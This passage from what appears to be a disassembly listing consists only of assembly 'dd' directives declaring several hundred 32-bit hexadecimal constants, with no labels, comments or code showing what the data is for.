		dd 8EB827ACh, 91BA0EBh,	9131F8BAh, 17F5976Fh, 6EC1AC23h
		dd 0A13CAA06h, 1AA46B32h, 0E7403455h, 89C949E5h, 0A8A13461h
		dd 9F5D78E3h, 11D95AA2h, 458DDDBAh, 57ABED92h, 0FA689E11h
		dd 9B59BE03h, 6544CB62h, 0F242017Ah, 5048E54Bh,	5B08A5Ah
		dd 6085AF64h, 277B4E03h, 840F165Eh, 0E2D8AFh, 3560321Ch
		dd 3FD6C385h, 116F7BF3h, 1B224F8Dh, 0B1C68622h,	20C4C485h
		dd 0B033756Bh, 61C7753h, 484715F0h, 4CA84AF5h, 0AFB422BFh
		dd 0C882DB83h, 0C87CAA1Fh, 7AB6D104h, 23F0EADDh, 69482252h
		dd 0C9367A19h, 3A884374h, 0DCF49F4Ah, 0B431B163h, 5FBD2C07h
		dd 0D8DFAA3Ah, 91DBFC73h, 6F3CAB6Bh, 0BF352D4Dh, 0C5B3EEE6h
		dd 7ABDD3F1h, 0EA183C37h, 49964F61h, 99FED160h,	2B4EA70Ch
		dd 1B8431C0h, 0F778742Ah, 0E307F033h, 9C9B7DBAh, 837EAE91h
		dd 0A9687A80h, 0A5B24171h, 0C914905Fh, 58C589B5h, 71857930h
		dd 36C1A826h, 13B197E7h, 88DA5B55h, 0EDBC7A27h,	0DA2AC108h
		dd 0A074291h, 0F8BB9960h, 71798F5Dh, 3CC0F497h,	0CCD83056h
		dd 53F4FC77h, 6EFC12F4h, 666740ECh, 66F5413Eh, 227971FEh
		dd 24AE288Eh, 1E65C746h, 82368004h, 39CC8A96h, 5A835F8Bh
		dd 27A983B9h, 0C0B4167Ah, 0A901E7C6h, 8FE8010Fh, 322EBBF6h
		dd 0DC8E05EBh, 0E564C9BAh, 335E7AAEh, 72423EFDh, 0E28552F6h
		dd 99897954h, 0B32BF980h, 0A91BF0FFh, 0C792B2F2h, 73E84F53h
		dd 0AA904A48h, 45428059h, 5349A330h, 0C2FDFD37h, 1C17BD11h
		dd 0A65B6537h, 6A2505ADh, 853F452Ah, 907BB85Ah,	0C46A620Fh
		dd 83C438FDh, 0E61A5779h, 6082EA6Bh, 2A688021h,	4B114FE2h
		dd 832CC4E9h, 286F6906h, 10AD5B2h, 1C79C68Ch, 0F70952DDh
		dd 0AFFBFF49h, 0D7A9EF1h, 7C0E2BC8h, 0B3C4D286h, 17F42718h
		dd 0DBFE9F10h, 0EBD23202h, 9627F2DBh, 7042690Bh, 0C820755Eh
		dd 2934F75Eh, 0F3F376D7h, 4DF83788h, 0CB588EBFh, 4C353B91h
		dd 0BA67CA04h, 0B17100h, 0C4699A84h, 0AC5843DEh, 852AE27Bh
		dd 1912CA3h, 0B63C2E00h, 0B8E571F1h, 0D85C341Ch, 9BB95FEDh
		dd 7030DEABh, 0E81A7C97h, 0C1CB4290h, 60C2A459h, 0FD8F72Fh
		dd 0B55649ECh, 92968DB0h, 0AA2141ABh, 73121F3Ch, 0A053AAB1h
		dd 3CD8F284h, 3C59B8D0h, 0D7A241AEh, 0D190E8C8h, 0BBE2FD09h
		dd 0B2376E4Ah, 59FCCB2Bh, 4E8E3D0h, 0EAB8DB46h,	10374817h
		dd 0B155ED52h, 0B8AA89B1h, 5F8F205Dh, 0EF6D5813h, 4863F5A0h
		dd 0FF53EA20h, 2A36C37Dh, 9200716Bh, 0F4458C0Dh, 48335A0h
		dd 0BB41BC0Ch, 3CCE3D4h, 12AAD9F5h, 8A117A9Dh, 0DB87DB2Fh
		dd 0AE427923h, 0D71AD87h, 0A5E9DEBFh, 5DDECAB0h, 39490901h
		dd 0AFFBF7F6h, 791C343Bh, 0F41C9A4Bh, 0B50EC7DAh, 13778909h
		dd 7B198443h, 89D6F938h, 30DFAE5Fh, 435672ADh, 0BDEAFB33h
		dd 68BBABF1h, 9D3E564Dh, 360E7295h, 4648F0C3h, 85E847B9h
		dd 0F1D233BCh, 0FA102BA4h
		dd 26250532h, 0F387B6E4h, 0E83C9A40h, 0E7AE3B6h, 359F1E68h
		dd 0F280335Ch, 0DCE8CE72h, 478E3E7Dh, 0D258C24Ch, 673096A1h
		dd 18DE1B19h, 61621529h, 2949EC9Bh, 0D2AEA92Fh,	628BAC45h
		dd 0A8AB44D3h, 2B53FB89h, 8C401B14h, 0C2A33040h, 1DB5B3E0h
		dd 0F731A227h, 3868DC06h, 776A5028h, 9105E033h,	40F9795Ch
		dd 700D752Bh, 0DE21DB04h, 0D97C6D13h, 22C5ACA3h, 0C776E374h
		dd 0BA5D7550h, 1E3A8257h, 8633A6C6h, 501124CEh,	176EA7D4h
		dd 4E36214Ah, 0B0F6076Bh, 6DD29D63h, 876865FFh,	0B366E5AFh
		dd 669853BAh, 0C644E4F2h, 10CABFF3h, 1A2BA609h,	37B9DA89h
		dd 0F2623AC8h, 0D09C39A7h, 0A60CD304h, 0C6A821AEh, 657F160h
		dd 547A634Ch, 8EA26300h, 0FD1683B0h, 1263614h, 452B7A98h
		dd 0B0650C96h, 1E882B29h, 10ADA160h, 5E1B8F17h,	0FB41E7FCh
		dd 0FA3A3674h, 869C00AAh, 676DE6D2h, 9B276338h,	0F9C2CFCFh
		dd 3C266B01h, 0A801244Ch, 8ABD5D92h, 7D7630FEh,	0C5394E0Fh
		dd 73EC0A10h, 99FBE602h, 0E490EE3Fh, 2BEDBA75h,	58E350B7h
		dd 968D9797h, 98357074h, 7D8963EAh, 229111CBh, 1BF354AEh
		dd 3B59B5E1h, 552D2365h, 0FD3BFBA1h, 99B27589h,	9FCC2E7Ah
		dd 5C66DC35h, 0A23E8C9Ah, 8C34704Dh, 0A90BDAD1h, 93F294C0h
		dd 2F1E1E00h, 5DF30414h, 0A14C314Dh, 0D37871A1h, 3A7B6704h
		dd 85F2101Dh, 0A51E90F6h, 0A1E94446h, 95553F3h,	446654B3h
		dd 43E75BDBh, 88231690h, 48D6981Dh, 0A128D106h,	9C5BD892h
		dd 472AC6B0h, 7901ABD5h, 6A7B99ACh, 660DADF0h, 2B74ABDFh
		dd 2FF02E33h, 0A8D38D02h, 1D1DEF43h, 4A5BC063h,	600D5EF1h
		dd 0A668EFF8h, 816BEA76h, 17C779Bh, 8F9BFDC8h, 0B19538A1h
		dd 0C93C4268h, 12794144h, 0C4FCC6E7h, 0E84279CBh, 998C2EB4h
		dd 0BDB79FEAh, 8B90FAAFh, 94126E71h, 18DF3236h,	4224E4FEh
		dd 0C6D085Ch, 5B9D6A83h, 0CAD98D83h, 8FA2F7BBh,	0F325C5EDh
		dd 305585AFh, 7DC63482h, 8FD29CE5h, 0EF3261A8h,	50818F1Fh
		dd 65144630h, 0A3B249Bh, 7197685Dh, 1A0CF7Eh, 4E7BE32Eh
		dd 0BCCC576Eh, 814780DCh, 0E4B08E0Eh, 4557F23Bh, 26E974A1h
		dd 1C4EE85h, 0FEDFDD4Ch, 99F00C07h, 24C7B6B8h, 8BE63CAFh
		dd 86BF9FEDh, 0E9A0F93Fh, 5660A187h, 0F913267Dh, 1E58AF33h
		dd 77F62AE0h, 280ABE3Ah, 0B35493Ch, 100C645Fh, 510CD044h
		dd 0A5C85D03h, 69D1D11Dh, 0FF74D128h, 0DE482347h, 0AF23957Dh
		dd 3C18EC7h, 1CDB1888h,	0E6A48BA7h, 0A7CABC22h,	12D0FC2Ah
		dd 92EBC59Bh, 0A224D6DEh, 2F568B2Bh, 0CC4B9B86h, 0E40DB669h
		dd 88F2C5D8h, 6ACFECD8h, 369440D3h, 0E389BF42h,	17C6F0EEh
		dd 7A6E506Ah, 70365635h, 0A09EAD7Ch, 0FBD8D004h, 0BF0B8E79h
		dd 0A1697B50h, 8561A2FCh, 0E7F2E013h, 24854A25h, 632A9EA2h
		dd 0A907C54Ch, 493D1107h, 6544EC15h, 96D55D3Ch,	73375C36h
		dd 0A38C445Dh, 68D3BCD2h, 52B37077h, 0A90589D6h, 23D0879Ah
		dd 2B42EF90h, 1B038F26h, 7984CD44h, 0F5F43ADBh,	0B2010197h
		dd 0FF6E2499h, 0A83EF505h, 50E3B271h, 7C16BF48h, 5F9A983Dh
		dd 71C68055h, 0EFC34896h, 0E9AFC7AAh, 0B43E5C4Bh, 6780F1D4h
		dd 0D5720428h, 21F0F1B8h, 67047C70h, 22228EFh, 2452DC23h
		dd 8978A06Fh, 525504A2h, 30C8EB03h, 1E1778CCh, 29233145h
		dd 760921B5h, 3DA03ADh,	0D4971FC1h, 42A15DD4h, 2F61275Bh
		dd 7E39E4Fh, 0FD082755h, 0F9A44BFAh, 54DE0C9Eh,	0DCC34592h
		dd 8AFE69A9h, 0E2A4BB30h, 0FA7C0394h, 0EF7D080Eh, 52E1FC97h
		dd 0C66BBD05h, 9903A25Ch, 8F5208BBh, 0B9AD3640h, 0E4BDD56Dh
		dd 0A9ADD95Bh, 802768EDh, 0C4BBB601h, 51C27B21h, 0DD97B49h
		dd 0BB0871F5h, 27D065Eh, 30022878h, 20743535h, 0B0D2755Eh
		dd 73B64739h, 2E112261h, 2174443Fh, 350CB0FDh, 0AD1A5B9Eh
		dd 2BED695Dh, 0EED7CC4Dh, 54DB7CCDh, 39F292C0h,	0FC431260h
		dd 0A8E8EB46h, 7BE26293h, 83ED2DE2h, 98A7383h, 0A68AD3BDh
		dd 0AB0A2C13h, 6A588500h, 8CE4ED5Ah, 9507E902h,	0D768AEBFh
		dd 1C173056h, 0B3D713C3h, 0E831C2CDh, 19E761B5h, 0BC343C15h
		dd 3A0615A7h, 0C7AC7EA8h, 307FBA4Ch, 23D33A75h,	4CE61651h
		dd 2864DA03h, 95DE12D3h, 3FAA377Bh, 2E75C718h, 0B7B9391Dh
		dd 0DAA9838Dh, 9CC726E2h, 0E4E3F991h, 4B89A128h, 44A9E775h
		dd 0AB9C519Bh, 2749646Fh, 3CFD8B08h, 0E7854F10h, 20A813BAh
		dd 229B93Eh, 8BF861Fh, 51B1F9DBh, 0D28072F4h, 5284A112h
		dd 5ABC3EFCh, 0D7DDE2A0h, 0D540DAC8h, 765F1052h, 0B3437D07h
		dd 7B60A293h, 2221079h,	6B4AC9B8h, 91747FC8h, 8782AC29h
		dd 0DBE92677h, 0DC0BC3D0h, 0DA9BB4A6h, 96558582h, 0CC18AF2Eh
		dd 0E72C988Ah, 5229AC92h, 3A90FE18h, 13E6BC81h,	0E0F125ABh
		dd 7BA08757h, 51FA15C6h, 5F39B4BDh, 2F2062FFh, 0EF9F25ABh
		dd 0CD23AA55h, 14B13E77h, 41A570A1h, 0EF49BEDEh, 1137145Eh
		dd 0C500F43Eh, 7EFAADA7h, 43F6066Ah, 0F5E95860h, 78CF357Ah
		dd 0CB6B8E39h, 9D9BA829h, 926D540Ah, 7085BBD0h,	8A41CDA1h
		dd 0C9B3A1EAh, 63FC598Fh, 5605742Eh, 82F06725h,	29060AC1h
		dd 6663EECCh, 0B7D6927Ah, 5C83166Fh, 0DE4E0F3h,	177F5BB7h
		dd 0D5632B47h, 0F2A3CF61h, 487AD5A7h, 5B47CAAEh, 0CDB587B7h
		dd 2884175h, 0C8FEA773h, 0CEB74961h, 0C36B684Ch, 0D55A71Bh
		dd 0BF2D28E4h, 0F30C08D4h, 301F98E3h, 0A8210193h, 0F4E19DBDh
		dd 0DDD1F114h, 585A4D9Eh, 76A3E8DAh, 0BD761DC5h, 0B4B0EF12h
		dd 0A042EBBBh, 0F5DDFEBh, 792BE036h, 0D2C3A77Bh, 66722C43h
		dd 7BE7FA92h, 5891A981h, 0E8A3D03Ah, 0AC502466h, 74F0CF5Bh
		dd 0FE5D0057h, 748EDB3Dh, 0C6C3E861h, 0BF705F40h, 94E4992Ah
		dd 2808078h, 9C4DB96Dh,	0D5F1F32Bh, 6CCBCA9Fh, 9D03E8B8h
		dd 0A780E6B6h, 15879181h, 9A441CE2h, 257E7C77h,	33B61361h
		dd 0E71B1F44h, 6066125Ch, 0BD9C9725h, 1E7AFBB5h, 11D6F38Eh
		dd 0EF05F0Ah, 0E9ABC57Eh, 64E6E803h, 280F0BB6h,	0DED56E3Dh
		dd 3E36BAD9h, 0A7A3C94Eh, 9C9969FEh, 0E18D0718h, 501D7792h
		dd 0AE97E07Ah, 0E0CE97AEh, 7FC2AF43h, 6CF7F95Bh, 0F5463391h
		dd 0A623BD5Ch, 0CFF4721Eh, 0E8B39CADh, 0A2F85EDAh, 60734A0Bh
		dd 11DA9EAFh, 45141083h, 20469368h, 0A92E7A4Eh,	8B19EDA8h
		dd 70967B76h, 77F47664h, 872FB004h, 482EA76Ch, 677674BDh
		dd 0CCE76710h, 0E89F2ABDh, 0ABD78D18h, 392975B0h, 61A2DC36h
		dd 49C9A2B5h, 5B23BABBh, 17D5FBC0h, 8B0F14FAh, 0BCA4EA3Eh
		dd 0B4DC1E32h, 0D1E03DCh, 864BA9C3h, 50F3450Eh,	0E9F5E4A8h
		dd 49E0A79Fh, 7FC1E795h, 0ADE13F2Eh, 20D534F3h,	8B22E10Dh
		dd 0EFDA7445h, 0DDC07975h, 85FD4AB8h, 254086A6h, 2ACC225Dh
		dd 0D9D5229Dh, 431A4310h, 0ACACCA91h, 0F09CA339h, 12A7DC25h
		dd 9C7180F1h, 40282A1Dh, 0CC1D82B1h, 2E882F1Dh,	46C18F9Bh
		dd 0B92A21C9h, 0CA10AF8h, 0F9D20F4Ch, 0BD368B57h, 7C24DF7Eh
		dd 51A6179h, 0A24D92F2h, 19518D39h, 0B0E27C03h,	0FF2AF822h
		dd 29CD624Ch, 0D80D93D2h, 0FE1C3CF7h, 8F48FDB6h, 3766B64Ch
		dd 744E8A24h, 0AF150198h, 4D863C0Eh, 901528Bh, 7A358E1Ah
		dd 76BDF58Eh, 54CBAD7Eh, 0BFF323F4h, 2DF02AE2h,	972C8807h
		dd 5A7E00Ch, 3D09EC39h,	0EF0183D7h, 2C4EA2FEh, 36E4EF82h
		dd 0DB53854Ch, 0DCB7C065h, 8A819217h, 55215FDFh, 0C45701A7h
		dd 2961AEFh, 15729583h
		dd 0EC9DCA66h, 42F5E8C8h, 0E50A0809h, 3DFFBCA8h, 12E4EB0Eh
		dd 0D56D5DA9h, 809B03FEh, 466EF376h, 0F4E9FE1h,	15789646h
		dd 0B28E7FA9h, 6E95B1A5h, 87067CDh, 0E3F386D2h,	23DE39AEh
		dd 0CD9D4863h, 0F5488292h, 0FCB297AEh, 0CE00F691h, 5D56BB18h
		dd 35BD445Ch, 0C76BE282h, 6ABC9953h, 6200DAAAh,	9607F3D4h
		dd 0BF23F261h, 8DA08E95h, 0F5EE95D0h, 0F3400FD1h, 0F14AAE39h
		dd 7A5B239Dh, 0ADE7F6C7h, 54718A8Dh, 0CD0897A2h, 170758A8h
		dd 587CEC35h, 7F646954h, 128C2DEh, 26706C16h, 5C3871h
		dd 25E95C96h, 0D525EAAFh, 6F622654h, 9577EE85h,	0BDB9C01Ch
		dd 6CD12EEAh, 79B60E6Fh, 34C64D04h, 85341564h, 46C0CB65h
		dd 0DA509E66h, 188C68E5h, 923AD9B5h, 3E346B69h,	8F04E683h
		dd 4261059Fh, 912CF1Ch,	0B075A33h, 0D130A2DDh, 8594A888h
		dd 44201847h, 301D594Eh, 264CC7B7h, 2C0058C2h, 388F533Bh
		dd 57E73CE7h, 0EF2EF970h, 0B476B1D1h, 0E1824712h, 0AB0AA9C8h
		dd 0EFB05911h, 0F3A4BFAFh, 6BED904Fh, 9821B462h, 2B6C0114h
		dd 0ADD9FC73h, 4D9C57C5h, 6E19E14Fh, 0E8B0F696h, 66F052D8h
		dd 0F198F2D5h, 0E01CE9DFh, 4152DE1Dh, 0C4BB3AD3h, 0EC84C158h
		dd 84F84240h, 0EEBC7948h, 0A98D4CCDh, 0BBE6AA65h, 4B020B6Ch
		dd 36BA7D81h, 0CE882123h, 28ECF4BBh, 0EB4ED3D0h, 12017DA3h
		dd 40FE1492h, 0C0E2D6E4h, 0E60583D2h, 0CF8D3772h, 0EBD9511Dh
		dd 0DE9ED382h, 0A16EF3A7h, 9CDC4A75h, 0A6EE81BFh, 5B427459h
		dd 0B3420505h, 1959384Eh, 5D5EE50Fh, 646522Bh, 8ED55C35h
		dd 7F5D2367h, 6777597Bh, 3A1120C2h, 550CCADh, 0D9B7963Eh
		dd 37651763h, 81792AEBh, 0B60F79Bh, 71C732B1h, 0CF9E9ADCh
		dd 81CD8816h, 0D8A77170h, 2BCDDF0Dh, 19763BB7h,	32494216h
		dd 1E724058h, 0D104F8B8h, 619D6815h, 0F3E8C4E3h, 1CBD6E60h
		dd 0CE475665h, 35065C6Ah, 0F841574Eh, 0A00BB946h, 5AF94AEDh
		dd 0A9A4FB06h, 2FEF7860h, 0BF7CA59Ch, 50B6BAC5h, 335506E0h
		dd 0DCD22BE9h, 0C7300F95h, 335179C6h, 649B4062h, 835742C2h
		dd 4063682Eh, 37AF215Ah, 52B20A66h, 626E1E0Ah, 0E04BC478h
		dd 3A7DEC58h, 0E195C92Dh, 129C739Eh, 0ACD69EE6h, 0FADDAF9Bh
		dd 70805EF0h, 70E523E4h, 1E3A7A2Ah, 3DD46610h, 9F6A7759h
		dd 5585762Ch, 77F22EAAh, 921EFB8Ah, 0F7ECCF0Dh,	0D58928BFh
		dd 4747E4E0h, 9DA07EE1h, 0AB877040h, 0A93C6C76h, 0E8D06669h
		dd 0C7D7D02Ch, 359ED0FEh, 6F656D33h, 0E6AD5BC3h, 37263178h
		dd 6A831AA0h, 9E413F00h, 3A08F961h, 0A559DE56h,	4BF7F868h
		dd 5EACCC10h, 0FEBE6B45h, 0FDCFA1DAh, 88F5907Bh, 4C2648F0h
		dd 8ECD24ECh, 8D1D5622h, 4919C89Ah, 0B0151A60h,	931D5D39h
		dd 0B04F8C83h, 0D5AA3A9Eh, 1EEC8682h, 0AD6BB07h, 0A5E6057Ch
		dd 1AB61EFEh, 5D65264Bh, 0E92460F9h, 6B993314h,	84DC256Fh
		dd 0A93FD1Bh, 29B3580Bh, 0B994EEEFh, 0A7F6AE93h, 0D9BE303Eh
		dd 0A15C0B1Dh, 0F465AB79h, 115EDB33h, 0AA8BAC61h, 0AC97AFB6h
		dd 0D48204E8h, 16BA0249h, 6700D10Dh, 14215D65h,	7978A088h
		dd 8EE6AE69h, 0BC757FC5h, 8A7DF185h, 1CA702A9h,	0C484A31Bh
		dd 55A1340Bh, 0EC91B87Ch, 50189EAFh, 0D8CE9F71h, 87B9DD98h
		dd 0D621F0h, 0A3EBA163h, 2ECE40D2h, 63146DCCh, 0CE98F512h
		dd 0EE017536h, 0DDCCB4F6h, 6856E5BBh, 0ADD4288h, 0C4038A5h
		dd 0FCF21FA9h, 609078AEh, 15106DE6h, 0EEC854D0h, 74393A3h
		dd 0DF6B725Fh, 0D23AB167h, 0BED31847h, 1727EBCh, 0EA983512h
		dd 0D63F166Dh, 5E6E5E81h, 799B2F3Bh, 3A257012h,	1D16628Bh
		dd 0C101DF5Ch, 359326DFh, 0E96645E4h, 3618B735h, 4075BF16h
		dd 89B6D70Eh, 4FA6D648h, 94FA633Ah, 0D112F1A4h,	0AC776386h
		dd 547D6046h, 0E00C62E0h, 1D64FC62h, 8B901A85h,	5BB19048h
		dd 89422CE7h, 8FD9B70h,	0C937083Eh, 2E31F0B7h, 66A5D9B7h
		dd 0DDB95816h, 697FFE10h, 755BB320h, 6158333Ah,	49981D7h
		dd 826AB7CEh, 0BF28A28Ch, 2F0E85F2h, 7DB95AC9h,	3C9EBF07h
		dd 0A42632DCh, 0FD1A194Fh, 0CC7DE566h, 0E0150499h, 1CAAF23Bh
		dd 0BAC7C486h, 0E4F36405h, 48BDFCFFh, 6487851h,	48CBF4FAh
		dd 0A22FCB98h, 0F6CC7B83h, 36043FEAh, 0F59B0E94h, 430EE8B7h
		dd 605A64E4h, 0AC071D47h, 0EB09E721h, 0A830E6D3h, 0D8EFB4EEh
		dd 0A406A323h, 4388A3EEh, 8B5AD0D8h, 0A57AC703h, 9F8B26AFh
		dd 889DD5C3h, 0FD885CA1h, 8AB33255h, 0BF444074h, 55B47521h
		dd 8AADA229h, 2F933237h, 0DA1D6965h, 3171D8EFh,	3DFC5395h
		dd 1B75CA78h, 2615DC3Eh, 0C9BD00A8h, 9DE870EEh,	0F41CCADh
		dd 3009649Fh, 2FD69D7Bh, 0E55FAC73h, 0BADCEDE8h, 0E3593FC3h
		dd 867943EAh, 0F9B26F5h, 0AC88001Ch, 0FD5250A8h, 0F41EDC21h
		dd 46EBDC45h, 4F001CE6h, 75A574h, 3761B156h, 7A4A0245h
		dd 5064E841h, 349DFF9Fh, 18142C8Ah, 0A246242Bh,	34D1AAA2h
		dd 9BE580C1h, 0C6551630h, 85749CF4h, 16DBACE3h,	8B66F86h
		dd 0EF2397ACh, 4FEDD974h, 7F08E260h, 7E611B0Bh,	88F4D012h
		dd 95B86510h, 0A0A47083h, 62E1ECBEh, 478DF3B4h,	8805E676h
		dd 48218AF9h, 7AAF1E79h, 30910907h, 3B7CBC82h, 0DA140E35h
		dd 5D22482Eh, 0FF9645D9h, 6108C185h, 864752F2h,	65C2BBB5h
		dd 956F5AD7h, 0DF255B30h, 0F9DC059h, 343DEA3Eh,	0DB17290Bh
		dd 48EDED9h, 4ED3D153h,	0D875B118h, 65FDAF40h, 47FBB0FAh
		dd 0CF51DBD1h, 3CD7264Ah, 9BDA5747h, 9F39254Bh,	64820AE6h
		dd 0E235ADB9h, 840007EBh, 4C0FF1E6h, 346755E6h,	4B3541C4h
		dd 0B933A38Ah, 92397F1Fh, 175C8838h, 0C68899EDh, 0D86D051Eh
		dd 0E94634Bh, 7D036197h, 4A0E2000h, 0ED8EA757h,	0C6762AA3h
		dd 55D9CBE2h, 0BAAB6B62h, 0EB467576h, 4F3FE045h, 0AD289467h
		dd 0E0A45C85h, 0A7BC65EAh, 0B77ECBFFh, 85F0ECB0h, 0EF7D49A2h
		dd 0BF01B531h, 7232134Fh, 517BFB08h, 11F0216Ch,	88649010h
		dd 18D3C7Bh, 3269E8E4h,	640DDF70h, 374FA8Ah, 55BC8154h
		dd 2CFC8080h, 95A01783h, 6E70F989h, 0AA8BA34Fh,	69E13026h
		dd 0C4226077h, 74AAFFC0h, 5657A0CCh, 9CCEE1ECh,	7E85548Eh
		dd 0B702AD60h, 0B75E6F24h, 47B04564h, 0CD19E0ECh, 0F2A69609h
		dd 0FDCDDFFFh, 0F0D379E8h, 26C4D30h, 9ADCC718h,	79713DABh
		dd 0DB7E1F89h, 918EB313h, 0F6D51221h, 7C78228Fh, 2D07B209h
		dd 981516A0h, 0D64C5BA5h, 532BF476h, 1D153FFCh,	0F6BDD6DAh
		dd 61CF9E8Bh, 1074276Dh, 6C4F96C7h, 463EA90Ah, 8D76E119h
		dd 0A1DF514Fh, 6CC25DD3h, 0A5C272E4h, 8A0B51D2h, 7E8133B5h
		dd 0E134D70Bh, 54739E70h, 303354F2h, 0B549C139h, 0B3CC6h
		dd 0E80DA764h, 0F3CFDB6Eh, 5FCC955h, 24E9BA85h,	5223AD0Bh
		dd 2696A471h, 0D0940000h, 1CE8BF65h, 76DA691Fh,	0ECA32BFBh
		dd 33FFE3D1h, 34B91621h, 6CE0722Dh, 38785D6Ah, 4B6D1070h
		dd 193C6769h, 0E2455872h, 6C94063Dh, 7943C13Ch,	0D9B03967h
		dd 0E99BF5DDh, 518FEC28h, 0AC06240Eh, 787F5378h, 0DD8971F9h
		dd 0DFE2A460h, 276D600Fh, 0A1A85CCDh, 0A90DFE4Ah, 0F30479Fh
		dd 5FE67A60h, 0D694841Bh, 0E8BCA62Bh, 220F9D50h, 389C8E77h
		dd 3A56AF2Dh, 16402A0Ch, 33C97CB0h, 0DE54CFE2h,	5029C989h
		dd 0E27F854h, 9C78CDCCh, 0ED4E9745h, 85AA1553h,	0E0D7E171h
		dd 0B493DE1Dh, 85C83873h, 0FEBED5EAh, 0BDE35DEAh, 9F3AF1C2h
		dd 0C8E4B858h, 64D955FAh
		dd 0CB7E9782h, 8625775Eh, 0F99A9FBAh, 5108BFC6h, 0DF6BEA58h
		dd 7B6EA11h, 6BC89152h,	3DECCE7h, 85C426D3h, 26BEC990h
		dd 0A04D3F1h, 2F00DC4Bh, 0DA57D546h, 0BC5EDC11h, 2D132E36h
		dd 24DEA06Dh, 85B7697Ah, 873BA6A6h, 0BC225E2Dh,	145E4339h
		dd 0B793C689h, 43AE4F80h, 0A181AA98h, 532C97A6h, 480D0C34h
		dd 0EAB604F4h, 8A818F1h, 216663B5h, 0C34ADB3Ah,	3F8FC877h
		dd 722D4A7Eh, 0DB0589E6h, 745AFA32h, 5B4BF5F1h,	0DDA9607Bh
		dd 0CAFB5386h, 0D67B3817h, 16A3F687h, 3A815AF0h, 7288311Ah
		dd 0BC7CB946h, 6FFEE7C2h, 1F6D2F60h, 8ED19542h,	55F8B721h
		dd 0E07B1008h, 35513321h, 0EC57592Ah, 57D6C6B4h, 0FD477A2Ah
		dd 6120092Dh, 0BAE6F31Fh, 200522B3h, 0AF46F850h, 0B1D99A35h
		dd 0D0CEFCFCh, 5915AC1Eh, 4427BBDh, 1163C790h, 48793D38h
		dd 6BBBE6EBh, 512AB67Bh, 0F0D1D775h, 8B98BD5Fh,	0A1B6EE4Ah
		dd 18EE7279h, 0F7235DF1h, 2F991F7Eh, 0C90BA505h, 8D266199h
		dd 0C5C00E99h, 97938D1h, 6643A997h, 72E2B97Dh, 0EAB26123h
		dd 0F10DCA31h, 48BEF155h, 89A16E0Ch, 0E02FF277h, 3867A82Ah
		dd 550CDD4Eh, 54C4FA7Dh, 8436640Ch, 9FEA6C95h, 66A6CEB2h
		dd 0E8D73069h, 7669E097h, 0D145040Eh, 2841F162h, 8E37865Dh
		dd 898C50B5h, 620B2668h, 0E5214D54h, 10367987h,	0D1FA36EEh
		dd 0DF9EFCFFh, 8B713749h, 757C2B40h, 594754BCh,	46446207h
		dd 2ADF8497h, 0DCBA4298h, 3A9F7870h, 4B572767h,	0E1BA93Dh
		dd 0F6069F62h, 0BDCCFDA4h, 0D9862E66h, 0C53844BAh, 42B1AD5h
		dd 17EDB858h, 0D0E3E159h, 0BCE3359Bh, 1E9450C1h, 0B3D48B71h
		dd 14AFE677h, 0C465CA17h, 23FF9638h, 681C00D1h,	0B37AAD6Fh
		dd 93D5EC44h, 412932E0h, 0BA76DDEEh, 2BDF3B59h,	1210D4D2h
		dd 0B1B7303Eh, 17F6F904h, 257A171Eh, 2F4DFEFh, 0BF9D4948h
		dd 228471EFh, 82C7279Eh, 0B03D63E7h, 0D3631A2Ch, 0CFA9DF9Fh
		dd 0B038ED72h, 4CBAC9E0h, 50FDCB07h, 8448C472h,	0F874901Ch
		dd 0BF777CC9h, 3722DA80h, 970EBFF3h, 0D2D1DEA0h, 0DCFBEBAAh
		dd 50AFFD81h, 0ECCB3F94h, 0D33045D7h, 158B6589h, 6251EAEDh
		dd 5BA2DF84h, 0FB1949D4h, 80AE490Fh, 0DCEF17D3h, 73DED07Ah
		dd 0C7A1795Ah, 0CB5ABDD4h, 7840CB07h, 0B18967D4h, 7B744ECFh
		dd 8AD82C94h, 53210FAh,	98823E1Ah, 0DD7E0C5Ah, 0FCE9C61Eh
		dd 7D4438A7h, 0A8C4390h, 38DF473Dh, 0BCE96804h,	43567AD3h
		dd 17DB8145h, 4E2DDh, 0E5BD4E0Ch, 3BD349FEh, 7CB58F0Eh
		dd 0B279AF13h, 0BCD91ACDh, 51117CE6h, 96366F32h, 0F1AE6B85h
		dd 0E233C09Fh, 0B89545E4h, 0C23D6FDAh, 0C1C76B52h, 0F3652640h
		dd 0F1785720h, 8B841D8Ah, 17F76185h, 5192D1C8h,	0E5D0AB7Eh
		dd 0C8F4E053h, 67FFE1CEh, 137D6186h, 0D32A12AEh, 0C293108h
		dd 3015E13h, 599BB21Eh,	0A6768E28h, 268F80F4h, 0BBA9300Bh
		dd 41EC0CA4h, 0F8835B22h, 97AB3676h, 343EFCD0h,	0EB111DAFh
		dd 85A80FA4h, 2E6CA25Eh, 0D64D4837h, 64448DE5h,	0D9D879C4h
		dd 458742C8h, 5D0DD876h, 98F26622h, 0CADE871h, 0C44CA1h
		dd 204D5017h, 6D9F7AF7h, 11960A7Fh, 0DF2DDF6Bh,	0E4093CFh
		dd 0A170CCAEh, 43AF9454h, 2B7D457h, 8AB19A6Fh, 170B10D6h
		dd 0AD2B2D01h, 0DC5C127Eh, 4676BD19h, 12C80FCFh, 235FA0ECh
		dd 0E73E0AF4h, 687B56CFh, 0D22F8140h, 0AD50DC6Ah, 41AC24D3h
		dd 0D868EB38h, 0CCA95973h, 582B99Fh, 0B4A4093Ah, 0C78A798Fh
		dd 5F49260Ch, 0E5C0BBC9h, 0EF3EF7E1h, 95FA956Ah, 4E4027E7h
		dd 8EA9DBDBh, 20370F45h, 1DBE4580h, 0B9E4018Ah,	87D39093h
		dd 63AE2E27h, 918B0F92h, 223BCD61h, 378194Ch, 0C2E10B23h
		dd 7F08ECBh, 0E8E0F1B6h, 0AF1DD740h, 0E4CC17C1h, 0D037B48Bh
		dd 7968FCE3h, 0C543794Fh, 96A6167h, 36323A5Eh, 3573B193h
		dd 21E27309h, 8CDA1270h, 8EB3B57Eh, 2DF01D1Fh, 9086641Ah
		dd 2D0F46A7h, 0C6D12F6Eh, 389D802Fh, 0BE4E0765h, 0A3EDE53Eh
		dd 8773C107h, 869CB67Ah, 0AAA8630Fh, 303E5312h,	1987B6C1h
		dd 2D4B2423h, 0BA74B724h, 209FB4B3h, 3070E651h,	66DF65E1h
		dd 0DDF7CD5Ch, 7BBA6596h, 0FBDB7742h, 62BD094Bh, 61C179FBh
		dd 0BB31EB23h, 7285CB84h, 8A34FC1h, 6EA0C94Dh, 0E95AF794h
		dd 0F4C5CAE4h, 0FC79D8Ch, 0D10D0F08h, 0C0F34619h, 0AC78004Ah
